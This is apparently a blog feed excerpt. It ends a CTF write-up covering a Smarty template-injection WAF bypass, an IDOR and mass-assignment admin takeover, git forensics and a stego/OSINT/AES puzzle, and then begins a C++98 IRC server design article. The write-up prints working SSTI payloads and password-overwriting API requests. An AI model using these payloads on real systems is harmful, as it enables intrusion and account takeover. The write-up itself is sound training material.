&lt;p&gt;The WAF blocks typical Smarty command execution tricks: we cannot use &lt;code&gt;{php}system(&apos;id&apos;){/php}&lt;/code&gt;, we cannot access the built-in &lt;code&gt;$smarty&lt;/code&gt; environmental array, we cannot invoke &lt;code&gt;system&lt;/code&gt; or &lt;code&gt;exec&lt;/code&gt;, and the literal string &lt;code&gt;flag&lt;/code&gt; is completely banned! Moreover, input length is strictly restricted to 200 characters with a maximum of 3 piping filter operators (&lt;code&gt;|&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;2.3 Crafting the Bypassed SSTI Payload&lt;/h3&gt;
&lt;p&gt;To bypass keyword detection while adhering to tight character limits, we can leverage Smarty&apos;s native variable assignment (&lt;code&gt;{assign}&lt;/code&gt;) and string concatenation filter (&lt;code&gt;|cat:&lt;/code&gt;). By splitting the word &lt;code&gt;&quot;flag.txt&quot;&lt;/code&gt; into disconnected string segments (&lt;code&gt;&quot;/f&quot;&lt;/code&gt; and &lt;code&gt;&quot;lag.txt&quot;&lt;/code&gt;), we slip straight through regular expression blocklists!&lt;/p&gt;
&lt;p&gt;Once our path string is stored inside a runtime variable (&lt;code&gt;$x&lt;/code&gt;), we utilize a single remaining Smarty modifier pipe to feed the target filepath directly into an unblocked native PHP filesystem reader: &lt;code&gt;file_get_contents&lt;/code&gt;!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{assign var=&quot;x&quot; value=&quot;/f&quot;|cat:&quot;lag.txt&quot;}{$x|file_get_contents}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Final Exploit Request URL:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /?action=preview&amp;amp;text={assign%20var=%22x%22%20value=%22/f%22|cat:%22lag.txt%22}{$x|file_get_contents} HTTP/1.1
Host: 104.199.105.242:4242
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Submitting this URL forces Smarty to assemble the target string dynamically in system memory and immediately prints our winning flag directly inside the HTML preview response:
$$\mathbf{leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}}$$&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Web Challenge 2: new intra (IDOR &amp;amp; Mass Assignment)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; IDOR combined with Mass Assignment leading to Admin Account Takeover&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.1 Portal Architecture &amp;amp; Access Mapping&lt;/h3&gt;
&lt;p&gt;This blackbox engagement models a student administration platform featuring profile customization, a dedicated &lt;code&gt;/staff&lt;/code&gt; login portal, and a protected &lt;code&gt;/admin&lt;/code&gt; dashboard. Initial testing against the &lt;code&gt;/admin&lt;/code&gt; destination returned a rigid &lt;strong&gt;&lt;code&gt;403 Forbidden&lt;/code&gt;&lt;/strong&gt; error response—confirming that only high-privilege staff accounts (specifically the legendary root administrator account: &lt;strong&gt;&lt;code&gt;bocal&lt;/code&gt;&lt;/strong&gt;) are allowed entry.&lt;/p&gt;
&lt;p&gt;While auditing the user profile settings dashboard, I observed that modifying basic profile attributes (such as changing an academic motto or profile avatar) triggered asynchronous JSON PUT requests directed at an authenticated API endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PUT /api/profile/153 HTTP/1.1
Host: intra.challenge.local
Content-Type: application/json

{&quot;title&quot;: &quot;writer&apos;s soul&quot;, &quot;bio&quot;: &quot;Hunting bugs across 1337 systems.&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 IDOR Discovery &amp;amp; Built-in Account Privilege Reset&lt;/h3&gt;
&lt;p&gt;Notice the explicit numeric identifier appended to the routing path (&lt;code&gt;/api/profile/153&lt;/code&gt;). To test for Insecure Direct Object References (IDOR), I intercepted the request in Burp Suite and swapped my profile ID (&lt;code&gt;153&lt;/code&gt;) for targeting neighboring accounts. While standard user profiles rejected unauthorized modification attempts, continuous fuzzing revealed an incredible architectural oversight: &lt;strong&gt;built-in core staff accounts (IDs 1 through 6) lacked proper access control validation bindings!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Targeting account ID &lt;code&gt;1&lt;/code&gt; (the foundational &lt;code&gt;bocal&lt;/code&gt; admin account), I combined the IDOR vulnerability with a classic &lt;strong&gt;Mass Assignment&lt;/strong&gt; injection—forcefully appending a &lt;code&gt;&quot;password&quot;&lt;/code&gt; update attribute into the transmitted payload body:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;title&quot;: &quot;Compromised by onevilx&quot;,
  &quot;bio&quot;: &quot;Account Taken Over&quot;,
  &quot;password&quot;: &quot;test&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Submitting this combined exploit payload against &lt;code&gt;PUT /api/profile/1&lt;/code&gt; returned a triumphant &lt;code&gt;200 OK&lt;/code&gt; success confirmation! I immediately navigated to the &lt;code&gt;/staff&lt;/code&gt; sign-in gateway, authenticated using the target username &lt;code&gt;bocal&lt;/code&gt; and my freshly injected password (&lt;code&gt;test&lt;/code&gt;), and unlocked complete unrestricted administrative access into the &lt;code&gt;/admin&lt;/code&gt; dashboard to capture the flag!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Misc Challenge 1: July Pool 2024 (Git Object Forensics)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics / Git Mechanics&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; Sensitive Data Recovery via Unreachable Git Objects &amp;amp; Dangling Commits&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.1 Unpacking the Piscine Archive&lt;/h3&gt;
&lt;p&gt;In this forensics challenge, we receive an archive named &lt;code&gt;pool.zip&lt;/code&gt; containing 1337 bootcamp source files along with a concealed version control repository (&lt;code&gt;.git&lt;/code&gt;). When inexperienced developers clean sensitive secrets out of source codes, they mistakenly assume that executing &lt;code&gt;git rm file&lt;/code&gt; or performing hard history resets erases historical records forever.&lt;/p&gt;
&lt;p&gt;Upon extracting the archive and inspecting commit logs via &lt;code&gt;git log -p | grep -i &quot;leet{&quot;&lt;/code&gt; and checking remote branches via &lt;code&gt;git log --all -p&lt;/code&gt;, standard queries returned zero matches. The target secret had been completely expunged from all active project timelines!&lt;/p&gt;
&lt;h3&gt;4.2 Mining Orphaned Blobs &amp;amp; Dangling Commits&lt;/h3&gt;
&lt;p&gt;When commits are orphaned via hard branch resets or rebase actions, underlying data blobs remain preserved inside the &lt;code&gt;.git/objects/&lt;/code&gt; internal cryptographic database until an aggressive garbage collection pruning loop (&lt;code&gt;git gc&lt;/code&gt;) executes. To inspect unreachable database structures, I invoked Git&apos;s internal file system check tool:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Recover unreachable repository blobs and verify internal object integrity
git fsck --unreachable
git fsck --lost-found
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                    GIT FORENSICS RECOVERY WORKFLOW                          |
+-----------------------------------------------------------------------------+
| 1. Standard search: git log --all -p -&amp;gt; Result: 0 matches (History purged)   |
| 2. File System Check: git fsck --unreachable                                |
|    [Output] -&amp;gt; Uncovers multiple dangling commits &amp;amp; unlinked blobs!         |
| 3. Dump Object Memories: git show &amp;lt;dangling_hash&amp;gt;                           |
| 4. Reconstruct fragmented flag string from orphaned repository blobs!       |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;fsck&lt;/code&gt; operation successfully extracted numerous unlinked dangling commits and restored orphaned files into &lt;code&gt;.git/lost-found/&lt;/code&gt;. By writing a simple bash iteration loop invoking &lt;code&gt;git show&lt;/code&gt; across every single uncovered dangling commit hash, I identified the original pre-deletion development staging commits and easily assembled the fragmented challenge flag!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Misc Challenge 2: Waya Dazai khsna nl9aw stage (Stego + OSINT + Crypto)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Stego / OSINT / Cryptography&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; Chained COM Marker Extraction, LinkedIn OSINT &amp;amp; ROT47 / AES-CBC Decryption&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.1 Step 1: Steganography (COM Marker Extraction)&lt;/h3&gt;
&lt;p&gt;We are supplied with a seemingly ordinary image file: &lt;code&gt;olddays1337.jpeg&lt;/code&gt;. JPEGs rely on sequential hexadecimal framing markers. While standard image viewing software strictly evaluates image rendering stream boundaries, custom payloads can be injected cleanly inside unparsed comment markers without corrupting visual graphics!&lt;/p&gt;
&lt;p&gt;By evaluating the hex structure of &lt;code&gt;olddays1337.jpeg&lt;/code&gt; via &lt;code&gt;binwalk&lt;/code&gt; and hexadecimal inspection tools, I uncovered a concealed JPEG Comment (COM) marker (&lt;code&gt;FF FE&lt;/code&gt;) injected immediately before the Start of Stream (&lt;code&gt;FF DA&lt;/code&gt; / SOS) boundary!&lt;/p&gt;
&lt;p&gt;The marker contained a 128-character hexadecimal string representing an encrypted ciphertext:
&lt;code&gt;ae8021aa5e4357a9d386fe2794003206d3cb0b231ec461cf48f6538f92a7d197c7009d5ba117cc9154ab207f14db634409055923f39ed4f9489f961a9c308272&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;5.2 Step 2: OSINT (Tracking the Author&apos;s Digital Footprint)&lt;/h3&gt;
&lt;p&gt;To decrypt this hex sequence, we needed an encryption passphrase. The challenge title and brief provided a critical dialect hint: &lt;em&gt;&quot;Waya Dazai khsna nl9aw STAGE&quot;&lt;/em&gt; (Moroccan Darija meaning &lt;em&gt;&quot;Hey Dazai we need to find an internship / stage&quot;&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Following standard OSINT methodologies, I researched the challenge author&apos;s handle (&lt;strong&gt;onevilx&lt;/strong&gt;). Querying Google and cross-referencing competitive tournament leaderboards on &lt;strong&gt;CTFtime&lt;/strong&gt; revealed the researcher&apos;s full legal profile. Knowing that professional student internships (&quot;stage&quot;) are advertised across corporate networking platforms, I investigated the author&apos;s public &lt;strong&gt;LinkedIn profile&lt;/strong&gt; (&lt;code&gt;https://www.linkedin.com/in/onevilx/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Buried within an experience description entry on LinkedIn stood a suspicious cipher string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;6Ji =66E04E7=@42=0`bbf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Analyzing the character distribution and ASCII frequency mapping confirmed this string was encoded utilizing &lt;strong&gt;ROT47&lt;/strong&gt;. Running ROT47 substitution decryption instantaneously revealed our valid passphrase:
$$\mathbf{leet_ctflocal_1337}$$&lt;/p&gt;
&lt;h3&gt;5.3 Step 3: Cryptography (Automated AES-CBC Decryption)&lt;/h3&gt;
&lt;p&gt;The extracted 128-character hex payload represented a 16-byte Initialization Vector (IV) followed by an &lt;strong&gt;AES-256-CBC&lt;/strong&gt; encrypted ciphertext. To break the cipher, we derive our 256-bit cryptographic key by executing a standard SHA-256 digest hashing loop over our OSINT passphrase (&lt;code&gt;leet_ctflocal_1337&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Below is the complete Python production decryption script (&lt;code&gt;exp.py&lt;/code&gt;) that I programmed to automatically unpack the cryptographic payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# exp.py -- Waya Dazai AES-CBC Decryption Tool
import hashlib
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 1. Provide the passphrase successfully harvested via LinkedIn OSINT &amp;amp; ROT47
PASSPHRASE = &quot;leet_ctflocal_1337&quot;

# 2. Derive the 256-bit AES encryption key via SHA-256 hashing
key = hashlib.sha256(PASSPHRASE.encode()).digest()

# 3. Hexadecimal payload extracted directly from olddays1337.jpeg COM marker (FF FE)
extracted_hex = &quot;ae8021aa5e4357a9d386fe2794003206d3cb0b231ec461cf48f6538f92a7d197c7009d5ba117cc9154ab207f14db634409055923f39ed4f9489f961a9c308272&quot;
extracted_bytes = binascii.unhexlify(extracted_hex)

# 4. Separate the 16-byte Initialization Vector (IV) from the core ciphertext
iv = extracted_bytes[:16]
ciphertext = extracted_bytes[16:]

# 5. Initialize AES cipher in CBC mode and decrypt target buffer
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_flag = cipher.decrypt(ciphertext)

# 6. Remove cryptographic block padding and print winning flag
flag = unpad(padded_flag, AES.block_size)
print(&quot;[+] Decrypted Winning Flag:&quot;, flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Executing &lt;code&gt;python3 exp.py&lt;/code&gt; directly across our local shell instantly strips the CBC block padding and unmasks the ultimate multi-stage competition flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] Decrypted Winning Flag: leet{m4st3rm1nd_0s1nt_w1th_st3g_4nd_crypt0}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;📂 Explore My CTF &amp;amp; Bug Bounty Repositories&lt;/h3&gt;
&lt;p&gt;Every single challenge writeup, custom tool, analysis pipeline, and original Python exploit script demonstrated across this publication is archived cleanly within my public GitHub repository:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-6&quot;&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/Writeups/tree/main/CTFs/localctf1337&quot; target=&quot;_blank&quot; class=&quot;not-prose block p-6 bg-gradient-to-r from-emerald-900/40 to-teal-900/40 hover:from-emerald-900/60 hover:to-teal-900/60 border border-emerald-500/30 hover:border-emerald-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-emerald-500/10 group&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center justify-between&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center space-x-4&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-emerald-500/20 text-emerald-400 rounded-xl group-hover:scale-110 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-8 w-8&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot;&amp;gt;
&amp;lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M12 2C6.477 2 2 6.484 2 12.017c0 4.425 2.865 8.18 6.839 9.504.5.092.682-.217.682-.483 0-.237-.008-.868-.013-1.703-2.782.605-3.369-1.343-3.369-1.343-.454-1.158-1.11-1.466-1.11-1.466-.908-.62.069-.608.069-.608 1.003.07 1.53 1.032 1.53 1.032.892 1.53 2.341 1.088 2.91.832.092-.647.35-1.088.636-1.338-2.22-.253-4.555-1.113-4.555-4.951 0-1.093.39-1.988 1.029-2.688-.103-.253-.446-1.272.098-2.65 0 0 .84-.27 2.75 1.026A9.564 9.564 0 0112 6.844c.85.004 1.705.115 2.504.337 1.909-1.296 2.747-1.027 2.747-1.027.546 1.379.202 2.398.1 2.651.64.7 1.028 1.595 1.028 2.688 0 3.848-2.339 4.695-4.566 4.943.359.309.678.92.678 1.855 0 1.338-.012 2.419-.012 2.747 0 .268.18.58.688.482A10.019 10.019 0 0022 12.017C22 6.484 17.522 2 12 2z&quot; /&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-xl font-bold text-white group-hover:text-emerald-300 transition duration-300 flex items-center gap-2&quot;&amp;gt;
onevilx / Writeups / CTFs / localctf1337
&amp;lt;span class=&quot;text-xs px-2.5 py-0.5 rounded-full bg-emerald-500/20 text-emerald-300 border border-emerald-500/30&quot;&amp;gt;Exploit Scripts &amp;amp; Docs&amp;lt;/span&amp;gt;
&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-neutral-300 text-sm mt-1&quot;&amp;gt;Access my original writeups, Python decryption engines, sample images, and proof-of-concept scripts directly on GitHub.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;text-emerald-400 group-hover:translate-x-1 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-6 w-6&quot; fill=&quot;none&quot; viewBox=&quot;0 0 24 24&quot; stroke=&quot;currentColor&quot;&amp;gt;
&amp;lt;path stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; stroke-width=&quot;2&quot; d=&quot;M14 5l7 7m0 0l-7 7m7-7H3&quot; /&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Special thanks to the 1337 School infrastructure engineering staff for continuously architecting compelling, realistic vulnerability scenarios.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>ft_irc — Building a Resilient IRC Server from Scratch in C++98</title><link>https://www.onevilx.tech/posts/ft-irc-project/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/ft-irc-project/</guid><description>An exhaustive architectural deep-dive into engineering an RFC 2812 compliant Internet Relay Chat server in raw C++98 at 1337 School (42 Network) — exploring non-blocking sockets, TCP stream buffering, poll() multiplexing, memory safety, and offensive security hardening.</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Source Code &amp;amp; Complete Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/ft_irc&quot;&gt;onevilx/ft_irc&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Engineering Stack:&lt;/strong&gt; C++98 / POSIX Non-Blocking Sockets (&lt;code&gt;poll&lt;/code&gt;)&lt;br /&gt;
&lt;strong&gt;Environment:&lt;/strong&gt; 1337 School (42 Network)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;There is no substitute for building an operational network protocol server from scratch if you want to intimately understand modern distributed systems, socket communication, and offensive protocol exploitation. Modern developers rely on high-level networking libraries—Node.js event emitters, Python asyncio, Rust tokio, or Go goroutines—where connections are gracefully handled as abstracted streams or asynchronous promises. But under the hood of every network application lies the unyielding reality of operating system kernel file descriptors, blocking I/O interrupts, stream fragmentation, and memory synchronization.&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;ft_irc&lt;/strong&gt; project at &lt;strong&gt;1337 School (42 Network)&lt;/strong&gt;, the mission is absolute: design and engineer a high-performance, fully interoperable Internet Relay Chat (IRC) server in pure, modern-standard-deprived &lt;strong&gt;C++98&lt;/strong&gt;, adhering strictly to the network communication rules defined in &lt;strong&gt;RFC 1459&lt;/strong&gt; and &lt;strong&gt;RFC 2812&lt;/strong&gt;. The catch? You are forbidden from using external networking frameworks, threading libraries, or high-level process duplication (&lt;code&gt;fork&lt;/code&gt;). The entire server must execute within a single-threaded asynchronous multiplexing loop utilizing system networking calls directly.&lt;/p&gt;
&lt;p&gt;This article is an extensive engineering deep-dive into the design decisions, core socket programming mathematics, packet string buffering mechanics, security hardening against protocol-level denial of service attacks, and algorithmic implementations that drove this server from a raw TCP socket listener to a fully functional platform capable of handling real-world IRC clients like &lt;strong&gt;Irssi&lt;/strong&gt;, &lt;strong&gt;WeeChat&lt;/strong&gt;, and &lt;strong&gt;HexChat&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. The Architectural Dilemma: Concurrency Without Multithreading&lt;/h2&gt;
&lt;p&gt;When designing an application capable of interacting with hundreds or thousands of simultaneous clients, the first engineering design decision is choosing the concurrency paradigm. Historically, network daemons deployed one of three operational models:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                      CONCURRENCY ARCHITECTURE COMPARISON                     |
+-----------------------------------+-----------------------------------------+
| Architecture                      | Operational Mechanics                   |
+-----------------------------------+-----------------------------------------+
| 1. Process-Per-Connection (fork)  | Parent binds/listens; calls fork() upon |
|                                   | accept(). High OS RAM &amp;amp; table overhead. |
| 2. Thread-Per-Connection (pthread)| Shared RAM space; spawns thread per     |
|                                   | client. High context-switch latency.    |
| 3. Single-Thread Multiplexing     | Single event loop polling FD arrays via |
|    (select / poll / epoll)        | poll() with O_NONBLOCK stream queues.   |
+-----------------------------------+-----------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Fallacy of Thread-Per-Client Architectures&lt;/h3&gt;
&lt;p&gt;While assigning a dedicated execution thread (&lt;code&gt;pthread_create&lt;/code&gt; or C++11 &lt;code&gt;std::thread&lt;/code&gt;) to each incoming client appears intuitively simple, it catastrophically breaks down under load—a problem notoriously documented as the &lt;strong&gt;C10K Problem&lt;/strong&gt;. Each thread demands an individual stack memory allocation (typically 1MB to 8MB in Linux environments), causing rapid Virtual Memory consumption. More critically, as active connections increase, the operating system kernel is forced into constant &lt;strong&gt;Thread Context Switching&lt;/strong&gt;. The CPU spends significantly more computation clock cycles saving registers, clearing translation lookaside buffers (TLB), and switching execution contexts than it does processing actual payload traffic. Furthermore, thread shared-memory access requires complex concurrency locks (mutexes and spinlocks), introducing deadly race condition vulnerabilities and synchronization deadlocks.&lt;/p&gt;
&lt;h3&gt;The Power of Asynchronous Event-Driven Multiplexing&lt;/h3&gt;
&lt;p&gt;To achieve resilient performance with minimal memory overhead, &lt;code&gt;ft_irc&lt;/code&gt; leverages &lt;strong&gt;I/O Multiplexing&lt;/strong&gt; in a non-blocking single-threaded execution design. Instead of suspending program execution while waiting for a single slow network client to transmit a keystroke, all socket file descriptors (FDs) are marked as non-blocking (&lt;code&gt;O_NONBLOCK&lt;/code&gt;). The operating system kernel is then queried via the &lt;code&gt;poll()&lt;/code&gt; system call to determine exactly which client file descriptors have incoming data waiting in their interface buffers, which descriptors are ready to receive outbound writes, and which connections have terminated.&lt;/p&gt;
&lt;p&gt;Why &lt;code&gt;poll()&lt;/code&gt; instead of &lt;code&gt;select()&lt;/code&gt; or Linux-native &lt;code&gt;epoll()&lt;/code&gt;?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;select()&lt;/code&gt; limitations:&lt;/strong&gt; The traditional POSIX &lt;code&gt;select()&lt;/code&gt; call is fundamentally bounded by &lt;code&gt;FD_SETSIZE&lt;/code&gt; (hardcoded to 1024 file descriptors on most Linux systems). It requires re-initializing bitmask arrays on every individual iteration, creating $O(N)$ computational overhead just to query connection status.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;epoll()&lt;/code&gt; / &lt;code&gt;kqueue()&lt;/code&gt; considerations:&lt;/strong&gt; While Linux &lt;code&gt;epoll&lt;/code&gt; and BSD &lt;code&gt;kqueue&lt;/code&gt; offer advanced $O(1)$ event-notification scaling via kernel red-black trees, they are proprietary, non-portable OS extensions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;poll()&lt;/code&gt; equilibrium:&lt;/strong&gt; &lt;code&gt;poll()&lt;/code&gt; accepts a dynamically allocated contiguous array of &lt;code&gt;pollfd&lt;/code&gt; structures, freeing our application from arbitrary numerical limits while maintaining cross-platform POSIX compliance and Deterministic $O(N)$ inspection loops—ideal for an RFC 2812 IRC network topology.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Low-Level UNIX Networking Primitives&lt;/h2&gt;
&lt;p&gt;At the lowest tier of the server architecture, all network operations are translated into system calls interacting directly with the TCP/IP stack in the operating system kernel. Understanding the precise sequence of socket initialization is mandatory for diagnosing edge-case drops and network exceptions.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;       [ Client / IRC App ]                       [ ft_irc Server Kernel ]
                |                                            |
                |                                    socket(AF_INET, SOCK_STREAM, 0)
                |                                    fcntl(fd, F_SETFL, O_NONBLOCK)
                |                                    bind(fd, sockaddr_in, port)
                |                                    listen(fd, BACKLOG=128)
                |                                            |
      === TCP 3-Way Handshake ===                            |
     [ SYN ] ----------------------------------------------&amp;gt; |
             &amp;lt;---------------------------------------------- [ SYN, ACK ]
     [ ACK ] ----------------------------------------------&amp;gt; |
                |                                            |
                |                                    accept(fd, client_addr) -&amp;gt; new_fd
                |                                    fcntl(new_fd, F_SETFL, O_NONBLOCK)
                |                                    poll(&amp;amp;fds, n_fds, timeout)
                |                                            |
      === Asynchronous Stream ===                            |
     [ NICK onevilx\r\n ] ---------------------------------&amp;gt; | [ POLLIN Event Triggered ]
             &amp;lt;---------------------------------------------- [ POLLOUT: :serv 001 onevilx ]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.1 Socket Initialization &amp;amp; Non-Blocking Enforcement&lt;/h3&gt;
&lt;p&gt;When &lt;code&gt;ft_irc&lt;/code&gt; boots up, it instantiates a listening server socket utilizing the IPv4 Internet Protocol family (&lt;code&gt;AF_INET&lt;/code&gt;) and a reliable two-way connection-based byte stream (&lt;code&gt;SOCK_STREAM&lt;/code&gt;), corresponding directly to TCP (Transmission Control Protocol).&lt;/p&gt;
&lt;p&gt;To prevent the socket from locking execution during port recycling (such as when restarting the server rapidly after an unexpected crash, which typically triggers a &lt;code&gt;98 EADDRINUSE&lt;/code&gt; binding error due to TCP sockets lingering in the &lt;code&gt;TIME_WAIT&lt;/code&gt; state), we must immediately configure socket level option flags using &lt;code&gt;setsockopt()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Server.cpp -- Initialization of non-blocking TCP socket in C++98
void Server::initServerSocket(int port) {
    // 1. Instantiate IPv4 Streaming Socket
    this-&amp;gt;_serverSocketFd = socket(AF_INET, SOCK_STREAM, 0);
    if (this-&amp;gt;_serverSocketFd == -1) {
        throw std::runtime_error(&quot;Fatal: Failed to initialize network socket descriptor.&quot;);
    }

    // 2. Prevent socket bind errors during rapid restart (TIME_WAIT optimization)
    int optval = 1;
    if (setsockopt(this-&amp;gt;_serverSocketFd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;optval, sizeof(optval)) == -1) {
        close(this-&amp;gt;_serverSocketFd);
        throw std::runtime_error(&quot;Fatal: setsockopt SO_REUSEADDR configuration failed.&quot;);
    }

    // 3. Set Socket File Descriptor to strict NON-BLOCKING mode
    if (fcntl(this-&amp;gt;_serverSocketFd, F_SETFL, O_NONBLOCK) == -1) {
        close(this-&amp;gt;_serverSocketFd);
        throw std::runtime_error(&quot;Fatal: fcntl non-blocking flag application failed.&quot;);
    }

    // 4. Bind socket to local INADDR_ANY network interface
    struct sockaddr_in serverAddr;
    std::memset(&amp;amp;serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = INADDR_ANY; // Listen on all network adapters (0.0.0.0)
    serverAddr.sin_port = htons(static_cast&amp;lt;uint16_t&amp;gt;(port)); // Host-to-Network short endian conversion

    if (bind(this-&amp;gt;_serverSocketFd, reinterpret_cast&amp;lt;struct sockaddr*&amp;gt;(&amp;amp;serverAddr), sizeof(serverAddr)) == -1) {
        close(this-&amp;gt;_serverSocketFd);
        throw std::runtime_error(&quot;Fatal: Bind failure. Port may be occupied or privileged.&quot;);
    }

    // 5. Place socket into listening state with connection queue ceiling
    if (listen(this-&amp;gt;_serverSocketFd, SOMAXCONN) == -1) {
        close(this-&amp;gt;_serverSocketFd);
        throw std::runtime_error(&quot;Fatal: Listen state activation failed.&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A vital structural component here is the invocation of &lt;code&gt;htons()&lt;/code&gt; (Host TO Network Short). Modern CPU architectures (ARM64, x86_64) typically process bytes in &lt;strong&gt;Little-Endian&lt;/strong&gt; byte order (least significant byte stored first in memory address space). However, TCP/IP network transmission standard dictates &lt;strong&gt;Big-Endian&lt;/strong&gt; ordering (also known as Network Byte Order). Omitting &lt;code&gt;htons()&lt;/code&gt; when parsing numerical ports results in byte inversion—causing a listener targeting port &lt;code&gt;6667&lt;/code&gt; to silently open port &lt;code&gt;13082&lt;/code&gt; instead!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Designing the Event-Driven Engine &amp;amp; Multiplexing Loop&lt;/h2&gt;
&lt;p&gt;With our TCP listener established, we construct the application&apos;s central heart: the continuous asynchronous polling event loop. We define an expandable dynamic array of &lt;code&gt;struct pollfd&lt;/code&gt; elements. The zero-index record (&lt;code&gt;_pollfds[0]&lt;/code&gt;) is permanently reserved for the core server listening socket, while subsequent slots (&lt;code&gt;1&lt;/code&gt; to &lt;code&gt;N&lt;/code&gt;) monitor accepted individual client connections.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct pollfd {
    int   fd;         // File descriptor to query
    short events;     // Requested event monitoring bitmask (e.g., POLLIN | POLLOUT)
    short revents;    // Returned event flag bitmask updated by kernel
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.1 The Master Loop Implementation&lt;/h3&gt;
